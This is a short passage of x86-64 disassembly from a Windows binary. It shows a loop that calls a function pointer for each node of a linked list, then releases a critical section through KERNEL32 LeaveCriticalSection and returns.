mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000c298
lea rax, [0x1400ed140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000c2fb
nop
add rsp, 0x30
pop rbp
ret